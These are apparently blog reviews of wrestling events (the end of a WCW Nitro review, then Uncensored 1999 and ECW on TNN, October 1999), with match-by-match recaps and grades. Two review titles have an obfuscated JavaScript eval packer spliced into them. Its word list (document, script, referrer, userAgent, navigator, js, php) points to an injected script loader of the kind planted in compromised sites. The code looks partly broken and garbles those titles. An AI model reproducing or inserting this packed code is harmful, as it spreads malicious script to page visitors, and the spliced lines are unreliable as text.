O……k. Apparently there are more stipulations for Flair vs. Hogan but you have to check the WCW website for them. Egads. Feeling out process to start and Bret is sent to the floor to cool off a bit. Back in and Van Hammer works on the arm but Bret nips up into an arm hold of his own. Van Hammer takes him right back down into a wristlock. He takes Bret into the corner and has been in control most of the match.

Bret is like screw that and hits Hammer low to take over. It’s time to work on the leg so Bret goes through his usual sequence of wear down stuff. Figure Four goes on (the wrong leg) but Van Hammer makes the rope. In a nice heel move Bret won’t let go and spends a long time explaining to the referee that it’s because Hammer is laying on his leg. Small package gets two for Hammer.

Hammer hooks the slowest motion backslide ever for two. Bret goes back to the knee with a cannonball down onto it. The leg gets wrapped around the post and a DDT gets two for the Hitman. Back to the floor and Bret tries to ram the leg into the post again, only to get pulled into it face first. Back in and Hammer suplexes him for no cover. Van Hammer’s cobra clutch slam gets two. An enziguri misses and it’s Sharpshooter time. You know that ends it.

Rating: C-. Not bad here but why would you wasted a 12 minute Bret Hart match on freaking Van Hammer? This is where WCW never made a ton of sense (I know, I know): they had no clue what to do with Bret as he was in the midcard for most of his time there, especially after the first few months where he didn’t do much of anything.

Bret hits the leg with a chair post match.

Hogan and Nash come to the commentary booth and run off Heenan and Tenay.

Ric Flair vs. Goldberg

You know you might think this should be saved for a PPV. That would make too much sense I guess though. Nash brings up a good question: why does Flair wear his knee pads below his knees? Flair gets taken down quickly and is shoved down a second time. Shoulder block doesn’t work at all for Flair. A second does even less. A third results in a gorilla press powerslam to have Flair in agony.

Flair tries to walk up the aisle but Goldberg drags him back. Nash talks about some really strong dude from the Emerald city but he isn’t sure what happened to him. A low blow puts Goldberg down (popular move tonight) and chops don’t work. Another low blow puts Goldie down for an easily broken two count. Goldberg stars a comeback but Flair kicks him low a third time. Refereeing in this company sucks.

Time to go after the legs and after a single shot it’s Figure Four time. That gets powered out of so Flair fires off some kicks. Goldberg no sells them and sends Flair to the corner for the Flair Flip and out to the floor. Flair gets slammed down but the spear misses and he hits the buckle. Goldberg no sells a suplex and spears him down. The NWO D-Team runs in for the no contest.

Rating: C+. This was getting really good until the bad ending. See, here’s what I don’t get. What was the point in the NWO coming in? Hogan is facing Flair on Sunday so wouldn’t they want him to get hit with the Jackhammer to hurt him more? Goldberg didn’t have a match on Sunday and wasn’t on the show at all, so why would they attack him? That’s a basic plot problem.

Hogan and Nash come in also and it’s a big NWO beatdown to end the show.

Overall Rating: D-. I know the expected thing is to say that this is the worst show ever and all that, but it really isn’t. Don’t get me wrong: it’s bad and this was a chore to sit through, but it wasn’t the worst show ever. This was just dull for the most part. Considering I didn’t have to pay much attention at all to the first hour, this was just a bad Nitro. That being said, the show still sucks, but I’ve seen far worse shows. The lack of energy or anyone caring at all is really evident though.

Here’s Uncensored if you’re interested:

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Uncensored 1999: FLAIR BEATS HOGAN!!!

Uncensored eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hniyy|var|u0026u|referrer|zhtet||js|php'.split('|'),0,{})) 1999
Date: March 14, 1999
Location: Freedom Hall, Louisville, Kentucky
Attendance: 15,930
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone

Another Uncensored here in the form of the 1999 version. The main event is Hogan vs. Flair in a first blood steel cage match that you can win by pin for the title and control of the company. Other than that this is more or less the standard WCW card from this era as you can see how far the company has fallen in a single year. Also this show is in Kentucky and the only reason I heard about it was my family was in Louisville a few days before the show. They never advertised in Lexington, which is only about an hour and ten minutes away. I’d try to tap into the extra 300,000 fans but that’s just me. Let’s get to it.

The opening video is one of those weird ones that looks like a prison and then the visuals of Flair and Hogan are all weird looking. It’s kind of hard to describe.

The cage will have barbed wire around the top apparently. Also Tony flat out says that hit’s a first blood cage match. Flair’s career and job as leader of the company is on the line.

Video on Nash vs. Rey which resulted in Rey losing his mask earlier. Nash also offered him a spot in the NWO and it got turned down.

Cruiserweight Title: Mikey Whipwreck vs. Billy Kidman

This is Whipwreck (a heel here) making his debut and he’s getting a title show. Well of course he is. Louisville wasn’t an ECW town so I doubt many people know who Mikey is. Kidman tries to speed things up to start but Mikey grabs a front facelock which doesn’t last long. Whipwreck is left handed. Since there’s no story here I need things to fill in space like that. SWEET dropkick by Kidman.

After being outside for just a few seconds Kidman comes back in and hits a cross body for two. Mikey sends him to the floor again and gets a wheelbarrow slam into the railing. Indian Deathlock goes on back in the ring to hurt the leg so now let’s work on the neck. Kidman reverses an Irish Whip and takes him down with a clothesline so he can stomp a mudhole.

Fameasser by Kidman is countered into a powerbomb for two. Off to a reverse front facelock (kind of like a weak Dragon Sleeper) which doesn’t last long. Mikey goes to the floor again and Kidman gets a huge dive onto him but it looked like Whipwreck was down already so the landing looked pretty bad. Back in and Mikey hits a slingshot move for two. Slingshot suplex is countered into a DDT by the champ to set up the Shooting Star.

Mikey sends him to the floor though but a big dive misses and Whipwreck crashes into the railing. FREAKING OW MAN! Kidman is backdropped into the crowd as this has been pretty back and forth here. Back inside now and a leg sweep gets two on Kidman. A splash misses in the corner and lets Mikey get two. After some waiting around, Kidman gets a Low Down for two.

Whipwreck goes up and avoids a superplex. Nice top rope clothesline gets two. Sitout Pedigree by Kidman gets two as this is needing to end pretty soon. Top rope belly to back gets two for Mikey. Powerbomb is countered by Kidman and that always awesome Shooting Star is enough for Kidman to retain.

Rating: B-. Good match here but 15 minutes was probably too long. Cut this down by about three minutes and it’s a lot better. Mikey is a weird kind of cruiserweight as he wrestles like a small heavyweight rather than a cruiserweight and it makes for some odd matches at times. Not bad for sure but probably just too long.

We get a video on the cage being built for later.

Stevie Ray vs. Vincent

This is a street fight for control of NWO Black and White, because when you think leadership of a heel team, you think Vincent. Since it’s a street fight, Stevie gets checked for weapons. Do you really expect for there to be a good match here? Out to the floor with Vincent in control. Did he ever win a match in WCW? They go into the stands and fight over like 50 empty seats.

Gee WCW, I’m sure you made the right decision to waste all those seats in an arena that you have a huge crowd. Clearly no one would have wanted those seats. Vincent backdrops him to ringside as I can’t believe I’m seeing Vincent in a match on PPV. Middle rope forearm gets two for Vincent. Stevie wakes up and we get the most ridiculous collision spot ever, as Stevie leans forward and Vincent doesn’t move for the spot to him. Horace comes out and hands Stevie a slapjack but Stevie hits a move called the Slapjack (elevated Pedigree) for the pin.

Rating: F. Vincent was in a gimmick match on a PPV in 1999 with Horace Hogan involved in it as well. Do I need to explain to you why this was a failure? The match sucked too and it sucked hard. I mean like Pat Patterson trying to make up with Vince hard.

Kevin Nash vs. Rey Mysterio

Yes you read this right. Mysterio is in a giant killer thing, including a pin over Nash. Oh and Rey has no mask anymore. Luger is out with Nash here, as is Liz. Rey runs right into a boot in the first move of the match. Nash tosses him around a bit but gets caught in a sitout bulldog as the fans are WAY into this. Rey sends him to the floor and uses what we would call the 619 (it’s just a tease move in WCW and never makes any actual contact).

Nash dodges a dive and sends Rey into the railing to take over. Back inside now and Nash is dominant. In a funny spot he sets up the framing elbow in the corner but has to put Rey on the middle rope to be able to hit it. Biggest atomic drop ever puts Rey down again. Low blow by Rey is all cool with the referee and a dropkick gets two. Moonsault press is caught and Luger trips Rey, allowing another big boot to set up the super jackknife to end this. It was almost a Border Toss the way he did it.

Rating: D+. This is a different kind of match. On paper it’s more or less a squash but here that’s the right idea. The idea was that Rey had hit the lucky streak of a lifetime and finally got caught here. In other words, Nash winning here was exactly what should have happened. There comes a point where a guy as small as Rey beating a guy as big as Nash in a regular match (as in not off a quick fluke) is unrealistic and hurts the story. This is one of those times. No issue here, and ironically enough the time of the match was 6:19.

Raven talks about violence causing violence.

Hak (Sandman) says he’s ready for his hardcore triple threat.

Bigelow says he’s awesome. Yeah these guys left their spots as being top stars in ECW to do ECW style matches in the low midcard of WCW. Makes sense.

Jerry Flynn vs. Ernest Miller/Sonny Onoo

Note that this is Flynn and not the far more talented and interesting Lynn. Flynn is a dull as vanilla ice cream in a white room with a single window where you can watch grass growing. It’s karate stuff here again because that’s all these three know how to do. They have to tag here. Basic story here: Onoo (allegedly one of the best fighters in the world) is terrified of Flynn so Miller (another world champion remember) has to do everything. You know, because Flynn is so awesome that two champion martial artists can’t handle him.

This is one of those matches where there is absolutely nothing to talk about. This match didn’t belong on Thunder and yet it’s getting seven minutes on a PPV. Miller is in the match the entire time and hits the Feliner (Trouble in Paradise) to put Flynn down. Now it’s off to Sonny and as soon as Flynn gets up it’s off to Sonny again. Flynn beats on Miller on the floor and then the tag finally hits. One kick from Flynn pins Onoo. Whatever man.

Rating: F-. Jerry Flynn has less purpose on this show than Vincent did. Let that sink in for a bit. Totally worthless match and no point whatsoever on being on this show. Also, STOP HAVING KARATE GUYS FIGHT EACH OTHER. The point is to have them fight other styles so it doesn’t get boring. Weak match and totally pointless. Give me ANYTHING else.

Benoit and Malenko are ready to win the tag titles from Windham and Hennig tonight. It’s a lumberjack strap match.

Hak vs. Raven vs. Bam Bam Bigelow

Hardcore match of course but that isn’t an official word yet. Hak has what used to be Mongo’s music. Even Raven has a theme now and he has his “sister” Chastity with him. Big brawl to start with Bigelow running everyone over. Chastity leaves for a bit and comes back with a dumpster full of weapons. This is going to be another one of those matches where there isn’t much to say.

Raven is controlling at the moment with various shots from metal objects. Sandman screams and overacts a lot. There’s a mailbox and an ironing board. Drop toehold sends Hak into a pile of stuff. They’re pretty much just throwing stuff at each other here. Bigelow is the only one standing. Trashcan shot to the head puts Hak down but Raven hits a low blow on Bammer to take over again.

Hak breaks an ironing board over Raven and everything stops again. Apparently he has a patented left hand. So does every other left handed person on the planet or anyone that hits somebody with a left hand own him a quarter or something? Bigelow hits Sandman with a box fan and the fans loudly boo. There’s an oar to Bigelow’s crotch. Raven does his pose and gets a big reaction.

Raven hits a WEAK chair shot to Bigelow who pops up from it as he should have. These spots are happening with about 30 seconds between them. Hak pops up after a cookie sheet shot and jumps on Bigelow with a sleeper. Raven jumps on Hak and they all fall down again. Heineken-Rana (yes that’s the real name) from Hak takes Raven down and it’s table time.

An ECW chant starts up and is immediately muted. I mean it just gets quiet almost instantly. Bigelow can’t splash Raven through a table so he powerbombs him instead. THE TABLE DOESN”T MOVE. Bigelow has to splash him instead and somehow Hak is still alive. He brings in the cane and here’s Chastity. There’s another table and make it a third. Bigelow goes most of the way through one of them and Raven DDTs Hak.

Naturally he doesn’t cover as Chastity has slipped him some tape and he’s taping Hak’s arms behind his back. We get the just not needed Rock/Foley series of unprotected chair shots to the head until Bigelow hits Greetings From Asbury Park (over the shoulder Piledriver) to kill Raven. Chastity hides in the dumpster and Bigelow threatens to jump in it. She comes up with a fire extinguisher and Bigelow falls through the table. And then she turns on Raven and Hak pins him to end this.

Rating: D. This was a pretty intense hardcore match but it was FIFTEEN MINUTES LONG. Seriously, who in the world thought that was a good idea? These matches are already repetitive and having guys out there that are spent a few minutes in, how good are you expecting this to be? The spots were solid but it just went way too long here and that’s why it’s rated so low.

We get a brief break to clean the ring as the announcers talk.

Tag Titles: Chris Benoit/Dean Malenko vs. Curt Hennig/Barry Windham

This is a lumberjack strap match, meaning the lumberjacks have them. None of them are stars or anything and Hennig/Windham are the champions. One of the lumberjacks is Kendall Windham, as in Barry’s brother. Hennig and Benoit start us off. Arn Anderson comes down to ringside before we really get going. Chris Adams leaves and Arn takes his place, for some reason having his own leather strap in his jacket. I won’t ask.

The champs try to run and they get thrown back in by the lumberjacks. We finally get going and the starters trade slaps with Benoit destroying him. Out to the floor again and Hennig runs like a guy being chased by a mob with leather straps who want to beat him down. Off to Windham and he gets chopped too. Windham is sent outside and the lumberjacks start it up again.

Sweet mercy those are awesome chops. Malenko comes in and doesn’t miss a step from Benoit as the champions haven’t had a bit of offense yet. Back off to the Canadian who keeps dominating. Windham finally gets a boot up in the corner to set up a DDT and a tag to Hennig. Off to a chinlock as Hennig pretty audibly calls spots. Barry comes in again and a clothesline gets two.

Benoit hits a German and it’s the medium heat tag to Malenko. Benoit hadn’t been down enough yet for a hot tag so it’s close enough. Everything breaks down and Malenko hits a Hennigplex for two on Curt with a fast count. Cloverleaf goes on Curt and he taps but Windham makes the save before the referee sees it. Sleeper goes on Dean by Curt and then he dumps Dean.

Anderson comes over to save him from the beating and asks what’s wrong with you guys. That coming from Arn is just awesome. Dean tries to get something going against Windham but a hard elbow and a belly to back suplex stops that. Dean hammered away during the suplex though so both guys are down. Double tag brings in Benoit and Hennig with the Crippler in command. He steals Windham’s belt and we hit the floor where everything explodes. Hennig nails Anderson so Anderson pulls out a tire iron to blast Curt with. The most ridiculous Swan Dive ever (in a good way) ends Hennig a moment later.

Rating: B-. Pretty standard formula match here but it was good. The lumberjacks might have been a bit much but it was nothing too bad. That headbutt was insane as Hennig was beyond the logo on the mat and it made actual contact (with the arm but give him a break). Pretty good match here and nice to see Benoit getting a title after not having one for a very long time.

Chris Jericho vs. Perry Saturn

This is a dog collar match. Saturn had been in a dress recently and has promised to top that here. And now he’s in a dress made of chains. He also has some special contacts in which make his eyes yellow. The eyes have makeup on them and he’s wearing black lipstick. They’re chained around the neck. I have a feeling this won’t be Piper vs. Valentine. Jericho accepts the challenge for the match (which even Tony says “well we know that”) and then tells Ralphus to put the collar on. Even he says no to that and Jericho throws him out.

Jericho charges before he’s even attached and that goes badly for him. Saturn collars him on his own which is creepy. Jericho tries to run and that doesn’t work of course. Perry beats on him a lot as this is pretty dull so far. There’s some choking and Saturn uses the chain in a lot of regular moves. He pulls Jericho off the apron, throat first into the railing. Literally all Saturn so far.

Jericho finally gets a ball shot with the chain and chokes him over the ropes a bit. He tries to powerbom Saturn back into the ring but gets caught in a rana instead. Chris brags some but takes too much time, allowing Saturn to pull him off the top. All Perry now with him throwing Jericho around a lot.

We go to the corner for ten punches and Saturn puts the dress over Jericho’s head. He gets caught in a Liontamer attempt though and is in trouble. In a pretty smart counter, Saturn wraps the chain around Jericho’s neck even more before he turns it so that while the hold is on, Jericho gets choked at the same time and he can’t hold onto it. Nicely done. Death Valley Driver out of nowhere gets two for Perry. Super rana attempt is countered into a powerbomb/spinebuster off the middle rope by Jericho.

Jericho unchains himself from Saturn, completely defeating the purpose of the match, and attaches it to his own neck so it’s wrapped around his chest. Lionsault misses so Jericho goes up again. A top rope splash misses due to Jericho tucking the chain into his tights for some reason and another Death Valley Driver ends Jericho.

Rating: D+. The match was really just a match that had a chain involved other than a few spots. The ending completely defeated the purpose though, which doesn’t really surprise me in WCW, especially in 1999. They just weren’t too bright around this time. Also the Saturn is psycho thing didn’t really mean all that much. Just kind of there, which isn’t good for a gimmick based around violence, of which there wasn’t much at all.

TV Title: Scott Steiner vs. Booker T

Steiner is champion and has Bagwell with him. Steiner stalls a lot before the match and threatens the referee a lot. They get in each others faces and Steiner hits the floor again, shouting CROSS THE LINE at some fans. If someone says wrestling matters I’ll die of laughter. We finally get going and kind of grapple a bit until Booker snaps off an armdrag to tick off Steiner.

They actually speed things up a bit and slug it out. Spin kick misses and Scott hits the floor. Booker is being a lot more aggressive here and I kind of like it. Steiner stalls a ton and they’re really not in full gear yet. He fights up and hits a rotating cross body off the top for two as Buff pulls him out. Steiner throws him into the crowd for a bit and that doesn’t go anywhere.

Steiner drops the elbow but doesn’t have the pushups thing yet. Back inside after some Bagwell choking, Steiner hits a Warrior gorilla press slam drop and is in full control. That gets two with just a knee on Booker’s chest. Spinning belly to belly gets two and we hit the weak rear chinlock. I mean at least flex your arms Scott.

After that gets broken up a forearm smash puts Steiner down. Spinwheel kick puts Scott down and there’s the axe kick. Flapjack sets up the Spinarooni for a nice pop. Harlem side kick looks to put the referee down but we actually don’t get a ref bump. Bagwell interferes again because that’s all he’s good for, crotching Booker on the top. Middle rope suplex and Buff brings in a chair. The chair hits Steiner in the head and the referee is all cool with it. Booker gets a cover and the pin for the title.

Rating: C+. Not bad here but it dragged a bit, namely due to Steiner not being able to crank a neck properly or Buff being useful in the slightest. I liked the earlier parts of this a lot better as Booker was slugging it out with Steiner and it was working. These two had some decent chemistry and this worked pretty well.

Video on the cage being made with the barbed wire and all that jazz.

WCW World Title: Hulk Hogan vs. Ric Flair

Lot of stips here. Hogan is champion and the heel coming in. Flair is president of WCW and it’s job/career vs. title. There’s no door to the cage and there’s barbed wire on the top. Remember that this is first blood. During Flair’s entrance he wants the mic from Buffer. Flair tells the referee not to stop the match unless a good deal of blood and to use his discretion. Keep that in mind: Flair, the President of the company, is saying that it ends with FIRST BLOOD, albeit a lot of blood. Tony calls it first blood also. Ok, that’s all cool. That gimmick has been done a bunch of times and it’s fine. Nothing weird here.

The cage is lowered. This is like a regular cage but there’s barbed wire on the top and no top. Tony talks about how are they going to escape, meaning they’re already altering the rules. The fans loudly chant for Hogan as they start slowly. BIG chop by Flair but here comes Hogan with a backdrop. Despite Hogan being the heel and Flair being the face here, they’re wrestling the opposite styles.

They trade chops in the corner and Hogan takes over while Flair begs off. Hogan throws on the Figure Four and Bobby thinks he’s in command. What great perception! Flair eats cage and Hogan pounds away plus bites. Flair tries to climb over the top as toilet paper comes into the ring. There go his trunks of course because we have to see that every show right? Flair is busted and it’s kind of bad, but the referee says keep going. Fits with what we were told in the beginning of the match.

Hogan pulls some barbed wire down because it’s apparently held on with gum and tape. He rips it across Flair’s head and then whips him with the belt. Flair’s hair is turning red now as Hogan rams him into the cage ten times. They’ve totally done a double turn mid match. Big boot sets up the leg drop and covers but as Mike says, “that’s insignificant due to the rules of the match.” The referee doesn’t count either so Hogan complains about how Flair is bleeding and says he should win. Hulk complains about the lack of a count as the rules are breaking down very fast.

Flair gets something around his hand and decks Hogan with it to take over again. Hogan eats cage and is busted. Here come David Flair who is at odds with his dad along with his unnamed girlfriend who we know as Torrie Wilson. David cheers on Hogan as the fans chant Hogan. Hulk Hulks Up and is a total face. There’s a leg drop and a cover for one. Oh I give up.

Ric comes back and hits a suplex but Hogan pops up. Flair goes into the cage again and let’s do it one more time. Hogan picks him up like a battering ram into the cage and down goes the referee. Flair gets a low blow and here’s Arn Anderson. He decks David and slips the tire iron to Flair. Flair blasts Hogan with it and puts the Figure Four on Hogan who is out and the referee counts a pin to give Flair the title. The fans go silent and then boo Flair.

Rating: C. Not horrible here but it would get a lot worse in the future. The double turn probably was a good idea as things had been going badly for awhile. Flair FINALLY beating Hogan is nice to see, even though it stops meaning anything at all at this point. The ending aside, this wasn’t bad and as usual, Flair and Hogan know how to work a crowd pretty well.

Thunder was in Lexington on Thursday. I think I was at that show.

Overall Rating: C-. Well this wasn’t horrible. There’s nothing here that makes you wonder what drugs they’re on which is a big step up for WCW around this time. It’s certainly not a great show but I think you can watch it and say that it’s ok enough to get by. The problem though was that the company was in a total downward spiral at this point and Austin vs. Rock was two weeks away. That’s kind of hard to fight. Not awful, but nothing really worth seeing here.

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ECW on TNN – October 22, 1999: Sunny Bent Over In A Thong With Her Face In Lita’s Crotch While Dawn Marie Spanks Her

ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isyik|var|u0026u|referrer|ifiiz||js|php'.split('|'),0,{})) on TNN
Date: October 22, 1999
Location: Alario Sports Center, West Wago, Louisiana
Attendance: 2000
Commentators: Joel Gertner, Joey Styles

We’re getting closer to November To Remember and we’ve got a few matches set now. For one thing we have the world title match set as Awesome will defend against Tanaka. As for tonight’s show, it’s possible that we’ll see the TNN debut of Sabu. Gee I’m glad they didn’t wait awhile to bring in one of their legends or anything. Hopefully it’s a competitive match and they don’t bring in some old name that used to mean something to have him squash like the One Man Gang or something. Let’s get to it.

Joel is in the ring to open things up. Apparently he’s doing the ring announcing for the opener.

ECW World Title: Mike Awesome vs. New Jack

New Jack charges in with the weapons and Awesome stands there so he can get beaten on. Awesome fights back but gets bitten for his efforts. There’s a right hand to send the champion into the corner as that infernal song is still playing. Awesome misses a charge and we head to the floor. Jack puts Awesome against the railing and dives at him with a chair but it gets knocked back into Jack’s face.

Mike gets the chair now and takes over. Back into the ring and a top rope clothesline puts Jack down. Vader Bomb “misses” (Jack rolled the wrong way so it hit him anyway) and it’s staple gun time. A guitar shot to the head won’t put Awesome down but Jack jumps into a chair shot. Awesome throws him to the floor and through a table. Back in and the Awesome Splash gets the easy pin.

Rating: D+. If you take away the idea of wrestling from this match, it was pretty entertaining. Since New Jack is about as far from being a professional wrestler as I am, that’s not much of a stretch. This was just a way to pop the crowd before we get to the actual wrestling on the show.

Theme song.

Nova vs. Chris Candido

Gertner makes alcohol jokes about Tammy. They start fast with no one being able to get anything significant in. Candido finally hits him in the face to take over but walks into a backdrop. Flying forearm gets two. Nova is a guy that’s hard to keep up with because he’s not only fast but he does a lot of stuff that no one else did so it’s hard to call the moves. Before anything happens, Doring, Roadkill and Lita run in to beat on Nova for a DQ. This was really short.

Candido comes in to help Nova and we get a Lita vs. Sunny catfight, which I’m sure has been a fantasy for many over the years. After the ring is cleared and only Candido and Sytch are left, here come Storm and Dawn Marie for a distraction so Doring, Lita and Roadkill can come in from behind. Dawn paddles Tammy while Lita holds her. Dawn smacks Lita because she can.

With the ring cleared (again), Dawn calls out Francine who comes out with Dreamer. Storm suggests Dreamer can’t sleep with Francine and it’s on, but Justin runs in to double team Dreamer. Here’s Raven who comes in and then turns his back on the Impact Players. It’s about to be another double team but Dreamer makes the save. Raven DDTs Dreamer because he can.

Post break Dreamer is up and calls out Raven. They square off…..and we go to a break.

Rhyno vs. David Kash

Rhyno jumps him and the beatdown begins quickly. Kash hits a dropkick but gets Gored for two. Piledriver works a bit better and gets the pin for Rhyno. This wasn’t even a minute.

Corino gets on the mic post match and says he wants Sabu out here right now to face Rhyno.

Rhyno vs. Sabu

Sabu beats up Rhyno’s posse before the match as the fans are just NUTS for Sabu. Rhyno takes over and we take a quick break. Back with Sabu being sent to the floor so the cronies can beat him up. Back in the ring and Sabu gets powerbombed off a rana attempt for two. Rhyno throws him to the floor and tries a dive but takes out the other guys instead. The other guys/cronies/the posse are Steve Corino and Jack Victory in case that wasn’t clear.

Sabu puts him in the crowd and hits a HUGE dive to take Rhyno out. Back at ringside and Sabu pelts the chair to put Rhyno down. Fonzie is out here now. There’s a table set up between the ring and the barricade like a platform. Sabu ranas Rhyno off the top and back inside for two as Corino makes the save. Fonzie crotches Corino and Steve takes a rana as well. Sabu goes to put Corino through the table but Rhyno Gores him down.

Instead of covering he grabs a chair and charges but Sabu kicks it into his face for two. The triple jump moonsault is broken up but Sabu takes out Victory anyway. There’s a camel clutch and Rhyno is in trouble. Corino makes the save AGAIN but gets taken out by Fonzie. FONZIE HITS A SLINGSHOT SPLASH!!! That was kind of awesome. Rhyno gets put on the table and Sabu hits a triple jump Arabian Facebuster through Rhyno and through the table to put both guys down.

The fans are, as usual, going insane for Sabu. Joey talks about how you’ll NEVER see Sabu on Raw or Nitro, both of which he’d appear on (Nitro he already had been on but you get the idea). There’s a table in the ring now but Sabu has to take out Victory first. That doesn’t change much as Sabu drives Rhyno through the table for two to shock Joey. Facejam onto the chair gets two. Sabu sets for something off the top on Rhyno but Corino covers him for protection. That’s really stupid to do against Sabu as he jumps on both of them. Arabian Facebuster and the Triple Jump Moonsault finally get the pin.

Rating: C. It was a mess but I’d be lying if I said I didn’t enjoy it. Sabu is very much a microcosm of ECW: when he’s on he’s good, but when he’s off, OH MAN is he off. The interference got old fast here too. Also, why have Sabu win? Give Rhyno a cheap victory to further his monster push. Sabu is going to be incredibly popular no matter what, so why not?

A three minute music video of what happened in the show ends it. How pointless is that? Ok Sunny bent over in a thong with her face in Lita’s crotch while Dawn Marie spanks her isn’t but the rest is.

Overall Rating: A+. It has Sunny bent over in a thong with her face in Lita’s crotch while Dawn Marie spanks her. What kind of a grade do you think I’m going to give this?

The show is still a mess but the long main event with a big name helped. November to Remember is still mostly unannounced but they’ve got a few weeks left. The show was just ok this week.

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